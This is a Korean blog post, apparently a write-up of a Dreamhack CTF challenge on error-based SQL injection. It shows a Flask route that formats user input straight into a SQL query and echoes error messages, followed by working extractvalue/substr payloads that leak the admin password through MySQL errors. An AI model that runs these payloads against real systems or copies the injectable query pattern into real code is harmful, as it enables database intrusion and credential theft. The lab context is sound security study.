본문 바로가기

웹해킹

드림핵 error based sql injection 롸업

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

init.sql부터 보면, admin 계정의 비밀번호가 flag인 것을 알 수 있다.

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template

GET 방식으로 받은 uid를 sql구문에 그대로 사용하고 있다.

except구문에서 에러메세지를 str(e)로 반환하고 있다.

extractvalue를 이용하면 될거 같다.

admin' and extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); --

이걸 이용해서 admin의 upw값을 에러메세지에 나타나게 할 수 있다.

그런데 뒷부분이 잘려서 나온다.

DH{c3968c78840750168774ad951

대략 20글자 넘게 출력이 됐다.

25~50번째 글자를 substr로 출력해봤다.

admin' and extractvalue(1,concat(0x3a,(select substr(upw,25,50) from user where uid = 'admin'))); --

다행히 }까지 끝까지 출력되었다.

겹치는 부분을 빼고 합쳐서 flag를 완성했다.

'웹해킹' 카테고리의 다른 글

드림핵 sql injection bypass WAF 롸업  (0) 2023.12.03
SQL Injection-2  (0) 2023.12.02
드림핵 blind sql injection advanced 롸업  (0) 2023.12.02
SQL Injection-1  (0) 2023.11.30
드림핵 DOM XSS 롸업  (0) 2023.11.26